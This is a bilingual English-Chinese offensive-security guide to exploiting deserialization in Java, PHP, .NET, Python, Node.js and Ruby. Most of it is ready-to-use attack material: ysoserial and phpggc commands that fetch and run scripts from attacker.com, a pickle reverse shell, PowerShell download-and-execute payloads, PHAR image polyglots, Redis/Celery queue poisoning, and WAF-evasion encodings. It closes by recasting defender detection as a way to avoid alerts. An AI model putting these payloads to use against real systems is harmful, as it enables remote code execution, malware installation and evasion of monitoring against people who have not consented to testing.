offensive-deserialization

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive Deserialization

攻击性反序列化

Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.
当应用在不验证数据类型、完整性或来源的情况下,根据序列化字节流重建对象时,就会产生反序列化漏洞。对象重建会触发构造函数、finalizer 以及语言特定的 magic method,因此攻击者一旦能够控制序列化输入,通常就能在任何应用层验证执行之前实现远程代码执行。

Quick Workflow

快速工作流

  1. Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
  2. Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
  3. Determine the server-side language and framework version from error pages, HTTP headers, or source code.
  4. Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
  5. Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
  6. Escalate from proof-of-concept to the engagement objective with authorization.
  7. Document the full chain: entry point, format, gadget chain, library versions, proof.

  1. 枚举所有接受不透明二进制或编码数据的入口点——Cookie、HTTP body、header、消息队列消息、文件上传、GraphQL custom scalar、gRPC field、JMX/RMI endpoint。
  2. 通过 magic byte、Content-Type header 和错误行为识别序列化格式(参见“识别特征”)。
  3. 根据错误页面、HTTP header 或源代码确定服务端语言和 framework 版本。
  4. 选择与目标 classpath 或已安装 package 匹配的候选 gadget chain。使用 ysoserial、phpggc、ysoserial.net 或手工方式生成 payload。
  5. 通过已识别的入口点投递。先使用仅 DNS 或基于 sleep 的 PoC 确认执行,避免产生破坏性副作用。
  6. 在获得授权后,将 PoC 提升为项目目标所需的攻击阶段。
  7. 记录完整链路:入口点、格式、gadget chain、library 版本和证明。

Recognition Signatures

识别特征

FormatSignatureNotes
Java ObjectInputStreamHex
ac ed 00 05
, Base64
rO0AB
Cookies, POST bodies, JMX/RMI streams
PHP serialize
O:<len>:"ClassName":
or
a:<count>:{
Frequently Base64-wrapped in cookies
.NET BinaryFormatterBase64
AAEAAAD/////
ViewState, remoting, session state
Python pickleOpcodes
\x80\x04\x95
(v4+), older
(dp0
text
Redis caches, Celery tasks, ML pipelines
Ruby Marshal
\x04\x08
leading bytes
Session cookies in older Rails apps
YAML (any lang)
--- !ruby/object:
or
!!python/object/apply:
Tag-based instantiation
Java XMLDecoder
<?xml
with
<java>
or
<object class=
Legacy Java admin panels
.NET Json.NET
"$type":
key in JSON
TypeNameHandling != None
Java Jackson
["class.name", {
JSON array wrapper
enableDefaultTyping / polymorphic handling

格式特征备注
Java ObjectInputStreamHex
ac ed 00 05
,Base64
rO0AB
Cookie、POST body、JMX/RMI stream
PHP serialize
O:<len>:"ClassName":
或
a:<count>:{
通常在 Cookie 中使用 Base64 包装
.NET BinaryFormatterBase64
AAEAAAD/////
ViewState、remoting、session state
Python pickleOpcode
\x80\x04\x95
(v4+),旧版文本格式
(dp0
Redis cache、Celery task、ML pipeline
Ruby Marshal起始字节
\x04\x08
旧版 Rails 应用中的 session Cookie
YAML(任意语言)
--- !ruby/object:
或
!!python/object/apply:
基于 tag 实例化对象
Java XMLDecoder
<?xml
且包含
<java>
或
<object class=
旧版 Java 管理面板
.NET Json.NETJSON 中包含
"$type":
key
TypeNameHandling != None
Java JacksonJSON 数组包装格式
["class.name", {
enableDefaultTyping / 多态处理

Java Deserialization

Java 反序列化

ObjectInputStream.readObject()
instantiates arbitrary classes present on the classpath. Decades of library code provide usable gadget chains.
ObjectInputStream.readObject()
会实例化 classpath 中存在的任意类。多年来各种 library 代码都提供了可用的 gadget chain。

Identifying Sinks

识别 Sink

java
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated
java
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated

serialVersionUID and Classpath Constraints

serialVersionUID 与 Classpath 约束

Every serializable Java class carries a
serialVersionUID
. A mismatch causes
InvalidClassException
before any gadget logic executes. Extract the server's UID from error messages or decompiled JARs, then rebuild the payload with ysoserial's source. The UID often changes only on major releases, so brute-forcing common versions is feasible when the exact version is unknown.
每个可序列化 Java 类都包含
serialVersionUID
。如果发生不匹配,
InvalidClassException
会在任何 gadget logic 执行之前抛出。可以从错误消息或反编译后的 JAR 中提取服务器的 UID,然后使用 ysoserial 源码重新构建 payload。UID 通常只会在主要版本发布时发生变化,因此当确切版本未知时,暴力尝试常见版本是可行的。

ysoserial Gadget Chains

ysoserial Gadget Chain

Match the chain to libraries present on the target classpath.
bash
undefined
将 chain 与目标 classpath 中存在的 library 匹配。
bash
undefined

CommonsCollections -- most widely applicable

CommonsCollections -- most widely applicable

CC1: commons-collections 3.1, JDK < 8u72

CC1: commons-collections 3.1, JDK < 8u72

java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin

CC5: later JDK versions where CC1 is patched

CC5: later JDK versions where CC1 is patched

java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin

CC7: Hashtable entry point, bypasses some ObjectInputFilter rules

CC7: Hashtable entry point, bypasses some ObjectInputFilter rules

java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

Spring chain -- requires spring-core + spring-beans

Spring chain -- requires spring-core + spring-beans

java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin

Hibernate chain -- requires hibernate-core

Hibernate chain -- requires hibernate-core

java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin

CommonsBeanutils -- present in many apps via shaded dependencies

CommonsBeanutils -- present in many apps via shaded dependencies

java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin

URLDNS -- DNS lookup only, no RCE, safe for detection confirmation

URLDNS -- DNS lookup only, no RCE, safe for detection confirmation

java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

JRMPClient -- redirect deser to attacker-controlled JRMP listener

JRMPClient -- redirect deser to attacker-controlled JRMP listener

java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin

On attacker host, serve secondary payload via JRMP listener

On attacker host, serve secondary payload via JRMP listener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
undefined
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
undefined

JMX/RMI Deserialization

JMX/RMI 反序列化

JMX and RMI registries accept serialized objects over the wire and are frequently exposed without authentication on internal networks.
bash
undefined
JMX 和 RMI registry 通过网络接受序列化对象,并且经常在内部网络上未经身份验证即暴露。
bash
undefined

Scan for RMI registries

Scan for RMI registries

nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET

marshalsec: exploit RMI/JNDI

marshalsec: exploit RMI/JNDI

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://attacker.com:8080/#ExploitClass" 1099
undefined
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://attacker.com:8080/#ExploitClass" 1099
undefined

Jackson Polymorphic Typing

Jackson 多态类型处理

When
enableDefaultTyping()
or
@JsonTypeInfo(use = Id.CLASS)
is active, you supply a JSON array naming the class to instantiate.
json
["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]
Jackson maintainers continuously add classes to a denylist. Check the target's version against known bypass classes:
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
,
com.caucho.config.types.ResourceRef
, and similar JNDI-capable beans.

当
enableDefaultTyping()
或
@JsonTypeInfo(use = Id.CLASS)
启用时,可以提供一个 JSON 数组,其中包含待实例化 class 的名称。
json
["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]
Jackson 维护者会持续将更多 class 加入 denylist。应根据目标版本检查已知 bypass class,例如
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
、
com.caucho.config.types.ResourceRef
以及其他具备 JNDI 能力的 bean。

PHP Deserialization

PHP 反序列化

unserialize()
instantiates objects and invokes magic methods (
__wakeup
,
__destruct
,
__toString
) during reconstruction. The
phar://
stream wrapper triggers deserialization without an explicit
unserialize()
call.
unserialize()
会在重建过程中实例化对象并调用 magic method(
__wakeup
、
__destruct
、
__toString
)。
phar://
stream wrapper 无需显式调用
unserialize()
也能触发反序列化。

Identifying Sinks

识别 Sink

php
// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file
php
// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file

phpggc Gadget Chains

phpggc Gadget Chain

bash
phpggc -l  # List all available chains
bash
phpggc -l  # List all available chains

Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x

Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x

phpggc Laravel/RCE1 system 'id' -b # -b = base64 phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s = serialized
phpggc Laravel/RCE1 system 'id' -b # -b = base64 phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s = serialized

Symfony RCE -- targets process component

Symfony RCE -- targets process component

phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b

Monolog RCE -- present in most Composer projects

Monolog RCE -- present in most Composer projects

phpggc Monolog/RCE1 system 'whoami' -b
phpggc Monolog/RCE1 system 'whoami' -b

Guzzle / WordPress chains

Guzzle / WordPress chains

phpggc Guzzle/RCE1 system 'id' -b phpggc WordPress/RCE1 system 'id' -b
phpggc Guzzle/RCE1 system 'id' -b phpggc WordPress/RCE1 system 'id' -b

PHAR output instead of raw serialized data

PHAR output instead of raw serialized data

phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar

PHAR polyglot disguised as JPEG

PHAR polyglot disguised as JPEG

phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg
undefined
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg
undefined

phar:// Exploitation

phar:// 利用

The phar:// wrapper deserializes the metadata section of a PHAR archive on any file operation. The sink is a file function, not
unserialize()
, so it evades many audits.
php
// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();

// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));
Upload the polyglot as an image, then trigger a file operation referencing
phar://uploads/exploit.jpg/test.txt
.

phar://
wrapper 会在执行任何文件操作时反序列化 PHAR archive 的 metadata 区域。Sink 是文件函数,而不是
unserialize()
,因此可以绕过许多审计规则。
php
// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();

// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));
将该 polyglot 作为图片上传,然后触发引用
phar://uploads/exploit.jpg/test.txt
的文件操作。

.NET Deserialization

.NET 反序列化

BinaryFormatter
is the most dangerous .NET serializer. Microsoft has formally deprecated it, but legacy applications and internal tools still use it.
BinaryFormatter
是 .NET 中最危险的 serializer。Microsoft 已正式将其弃用,但旧版应用和内部工具仍在使用它。

Identifying Sinks

识别 Sink

csharp
// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common

// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // or Objects, Arrays, Auto
});
csharp
// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common

// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // or Objects, Arrays, Auto
});

ysoserial.net Payloads

ysoserial.net Payload

powershell
undefined
powershell
undefined

TypeConfuseDelegate -- broad .NET coverage

TypeConfuseDelegate -- broad .NET coverage

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"

WindowsIdentity -- when TypeConfuseDelegate is blocked

WindowsIdentity -- when TypeConfuseDelegate is blocked

ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"

TextFormattingRunProperties -- targets WPF/XAML

TextFormattingRunProperties -- targets WPF/XAML

ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"

PSObject -- PowerShell-specific

PSObject -- PowerShell-specific

ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"

Json.NET TypeNameHandling

Json.NET TypeNameHandling

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"

Base64 output for ViewState or cookie injection

Base64 output for ViewState or cookie injection

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64
undefined
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64
undefined

ViewState Exploitation

ViewState 利用

ASP.NET ViewState is a serialized hidden form field. When MAC validation is disabled or the machine key is known, you inject a gadget chain directly.
bash
undefined
ASP.NET ViewState 是序列化后的隐藏 form field。当 MAC 验证被禁用或 machine key 已知时,可以直接注入 gadget chain。
bash
undefined

If machine key is known (web.config disclosure, default keys):

If machine key is known (web.config disclosure, default keys):

ysoserial.exe -p ViewState
-g TextFormattingRunProperties
-c "powershell -enc BASE64CMD"
--validationalg="SHA1"
--validationkey="KNOWN_KEY"
--generator="GENERATOR_VALUE"
--path="/target/page.aspx"
--islegacy
undefined
ysoserial.exe -p ViewState
-g TextFormattingRunProperties
-c "powershell -enc BASE64CMD"
--validationalg="SHA1"
--validationkey="KNOWN_KEY"
--generator="GENERATOR_VALUE"
--path="/target/page.aspx"
--islegacy
undefined

Json.NET TypeNameHandling

Json.NET TypeNameHandling

When
TypeNameHandling
is not
None
, the
$type
property controls instantiation.
json
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}

当
TypeNameHandling
不是
None
时,
$type
property 会控制实例化过程。
json
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}

Python Deserialization

Python 反序列化

Python's
pickle
executes arbitrary code during deserialization through the
__reduce__
method. There is no safe way to deserialize untrusted pickle data.
Python 的
pickle
会在反序列化期间通过
__reduce__
method 执行任意代码。不存在安全地反序列化不可信 pickle 数据的方法。

pickle RCE

pickle RCE

python
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
python
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

Reverse shell variant

Reverse shell variant

class ReverseShell: def reduce(self): return (os.system, ( 'python3 -c 'import socket,subprocess,os;' 's=socket.socket();s.connect(("attacker.com",4444));' 'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);' 'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'',))
class ReverseShell: def reduce(self): return (os.system, ( 'python3 -c 'import socket,subprocess,os;' 's=socket.socket();s.connect(("attacker.com",4444));' 'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);' 'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'',))

Chained multi-step payload

Chained multi-step payload

class ChainedExploit: def reduce(self): return (eval, ("import('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))
undefined
class ChainedExploit: def reduce(self): return (eval, ("import('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))
undefined

yaml.load RCE

yaml.load RCE

yaml.load()
without a safe loader permits arbitrary object instantiation.
yaml
undefined
不使用 safe loader 的
yaml.load()
允许任意对象实例化。
yaml
undefined

Direct command execution

Direct command execution

!!python/object/apply:os.system
!!python/object/apply:os.system

Subprocess with output

Subprocess with output

!!python/object/apply:subprocess.check_output
  • ["id"]

```bash
!!python/object/apply:subprocess.check_output
  • ["id"]

```bash

Find unsafe yaml.load in codebase

Find unsafe yaml.load in codebase

grep -rn "yaml.load\s*(" --include="*.py" /path/to/codebase
undefined
grep -rn "yaml.load\s*(" --include="*.py" /path/to/codebase
undefined

Other Python Vectors

其他 Python 攻击向量

python
import shelve   # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal  # Code object injection via marshal.loads()
import jsonpickle  # Third-party, same risks as pickle via jsonpickle.decode()

python
import shelve   # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal  # Code object injection via marshal.loads()
import jsonpickle  # Third-party, same risks as pickle via jsonpickle.decode()

Node.js Deserialization

Node.js 反序列化

node-serialize IIFE Pattern

node-serialize IIFE 模式

The
node-serialize
library uses
_$$ND_FUNC$$_
to mark serialized functions. Appending
()
creates an IIFE that executes during deserialization.
javascript
// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}

// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}
node-serialize
library 使用
_$$ND_FUNC$$_
标记序列化 function。在末尾追加
()
会创建 IIFE,并在反序列化期间执行。
javascript
// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}

// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}

funcster

funcster

javascript
// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}
Look for
_$$ND_FUNC$$_
and
__js_function
in cookies, session tokens, and request bodies.

javascript
// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}
在 Cookie、session token 和 request body 中查找
_$$ND_FUNC$$_
与
__js_function
。

Ruby Deserialization

Ruby 反序列化

Marshal.load
and
YAML.load
both instantiate arbitrary objects and are common sinks in Rails applications.
Marshal.load
和
YAML.load
都能够实例化任意对象,并且是 Rails 应用中的常见 sink。

Marshal.load Gadgets

Marshal.load Gadget

ruby
undefined
ruby
undefined

Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)

Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)

ERB template execution chain

ERB template execution chain

require 'erb' class Exploit def initialize @template = "<%=
id
%>" end end payload = Marshal.dump(exploit_chain) encoded = Base64.strict_encode64(payload)
undefined
require 'erb' class Exploit def initialize @template = "<%=
id
%>" end end payload = Marshal.dump(exploit_chain) encoded = Base64.strict_encode64(payload)
undefined

YAML.load Gadgets

YAML.load Gadget

yaml
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
       read: 0
       header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
       socket: &1 !ruby/object:Gem::RequestSet
           sets: !ruby/object:Net::WriteAdapter
               socket: !ruby/module 'Kernel'
               method_id: :system
           git_set: "curl http://attacker.com/callback"
       method_id: :resolve
Rails session cookies before 5.2 used signed but not encrypted Marshal data. With the
secret_key_base
, you forge session cookies containing gadget chains.

yaml
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
       read: 0
       header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
       socket: &1 !ruby/object:Gem::RequestSet
           sets: !ruby/object:Net::WriteAdapter
               socket: !ruby/module 'Kernel'
               method_id: :system
           git_set: "curl http://attacker.com/callback"
       method_id: :resolve
5.2 之前的 Rails session Cookie 使用经过签名但未加密的 Marshal 数据。获取
secret_key_base
后,可以伪造包含 gadget chain 的 session Cookie。

Modern Attack Vectors

现代攻击向量

Kubernetes Admission Webhooks

Kubernetes Admission Webhook

Admission controllers deserialize
AdmissionReview
JSON. A webhook that passes annotation or label values from the admission request to an unsafe deserializer creates a cluster-level RCE vector.
yaml
apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  annotations:
    config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
  containers:
  - name: test
    image: nginx
The payload executes in the webhook's context, which typically has elevated cluster permissions.
Admission controller 会对
AdmissionReview
JSON 进行反序列化。如果 webhook 将 admission request 中的 annotation 或 label value 传入不安全的 deserializer,就会形成 cluster 级别的 RCE 攻击向量。
yaml
apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  annotations:
    config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
  containers:
  - name: test
    image: nginx
Payload 会在 webhook 的上下文中执行,而该上下文通常拥有较高的 cluster 权限。

Message Queue Consumers

消息队列消费者

Applications consuming from Kafka, RabbitMQ, SQS, or Redis often blindly deserialize message payloads. Producer access lets you poison every consumer.
python
import redis, pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
    'body': pickle.dumps(Exploit()),
    'content-type': 'application/x-python-serialize',
}))
从 Kafka、RabbitMQ、SQS 或 Redis 消费消息的应用通常会盲目反序列化 message payload。取得 producer 访问权限后,便可投毒所有 consumer。
python
import redis, pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
    'body': pickle.dumps(Exploit()),
    'content-type': 'application/x-python-serialize',
}))

Serverless Triggers

Serverless Trigger

Serverless functions deserializing event payloads from S3, SNS, or SQS are vulnerable when the event source is attacker-controllable (e.g., public upload).
python
def handler(event, context):
    obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
                        Key=event['Records'][0]['s3']['object']['key'])
    data = pickle.loads(obj['Body'].read())  # RCE if attacker uploads to bucket

当 event source 可由攻击者控制(例如 public upload)时,反序列化来自 S3、SNS 或 SQS 的 event payload 的 serverless function 会存在漏洞。
python
def handler(event, context):
    obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
                        Key=event['Records'][0]['s3']['object']['key'])
    data = pickle.loads(obj['Body'].read())  # RCE if attacker uploads to bucket

Evasion Techniques

规避技术

WAF and Filter Bypass

WAF 与 Filter 绕过

bash
undefined
bash
undefined

Double Base64 -- changes byte pattern

Double Base64 -- changes byte pattern

cat payload.bin | base64 | base64 > double_encoded.txt
cat payload.bin | base64 | base64 > double_encoded.txt

Gzip before Base64 -- entirely different pattern

Gzip before Base64 -- entirely different pattern

gzip -c payload.bin | base64 > compressed_payload.txt
gzip -c payload.bin | base64 > compressed_payload.txt

URL encoding

URL encoding

cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"

Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX

Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX

Parameter splitting -- some apps concatenate params before deserializing

Parameter splitting -- some apps concatenate params before deserializing

undefined
undefined

Content-Type Manipulation

Content-Type 操纵

Switch the delivery format to bypass format-specific WAF rules:
http
POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object

[binary payload]
xml
<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <string>curl http://attacker.com/callback</string>
    </void>
  </object>
</java>
切换投递格式,以绕过针对特定格式的 WAF 规则:
http
POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object

[binary payload]
xml
<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <string>curl http://attacker.com/callback</string>
    </void>
  </object>
</java>

Encoding Layers

编码层

Many applications apply multiple encoding layers. Wrap your payload to match:
  1. Serialize the gadget chain.
  2. Encrypt with a known or leaked key (session cookies, ViewState machine keys).
  3. Apply HMAC if integrity checks exist (requires the signing key).
  4. Base64 encode, then URL encode if delivered via query parameter.
When you lack the key, look for default keys in framework documentation, key disclosure via path traversal or SSRF, or padding oracle attacks to encrypt without the key.

许多应用会应用多层编码。应按目标应用的方式包装 payload:
  1. 序列化 gadget chain。
  2. 使用已知或泄露的 key 加密(session Cookie、ViewState machine key)。
  3. 如果存在完整性检查,则应用 HMAC(需要签名 key)。
  4. 执行 Base64 编码;如果通过 query parameter 投递,再执行 URL 编码。
如果没有 key,应查找 framework 文档中的默认 key、通过 path traversal 或 SSRF 泄露的 key,或尝试 padding oracle attack,以便在没有 key 的情况下生成加密内容。

Detection / Defender View

检测与防御方视角

Understanding defensive detection helps you craft payloads that avoid alerts.
